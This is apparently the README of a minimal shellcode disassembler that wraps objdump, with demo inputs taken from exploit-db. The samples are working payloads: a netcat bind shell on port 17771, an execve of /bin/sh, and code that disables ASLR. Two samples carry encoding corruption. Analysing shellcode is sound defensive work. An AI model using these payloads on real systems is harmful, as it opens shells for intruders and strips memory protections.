shellconv

Small tool for disassembling shellcode (using objdump)

usage: shellconv.py [-h] --infile INFILE [--arch ARCH] [--outfile OUTFILE]

arch: defined as in objdump -m, default: i386

DISCLAIMER

This tool is intended to be minimalistic.
It may not give proper results in case of complicated/obfuscated shellcode. In such cases, please refer to tools of appropriate complexity.

Installation

Requirements: Python3 (with PIP), objdump

Install the dependencies by:

pip install -r requirements.txt

Demo

1. https://www.exploit-db.com/exploits/36921/

expdb1.shc :

"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

2. https://www.exploit-db.com/exploits/36858/ expdb1_64.shc :

  char *shellcode =3D "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56=
\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

3. https://www.exploit-db.com/exploits/36637/ expdb3.shc :

char shellcode[] = "\xeb\x22\x5b\x31\xc0\x88\x43\x23\x6a\x05\x58"
"\x6a\x02\x59\xcd\x80\x89\xc3\x6a\x04\x58\xeb\x36\x59\x6a\x02\x5a�
�\xcd\x80\x6a\x01\x58\x31\xdb\xcd\x80\xe8\xd9\xff\xff\xff\x2f\x70�
�\x72\x6f\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c\x2f\x72�
�\x61\x6e\x64\x6f\x6d\x69\x7a\x65\x5f\x76\x61\x5f\x73\x70\x61\x63�
�\x65\x58\xe8\xc5\xff\xff\xff\x30\x0a";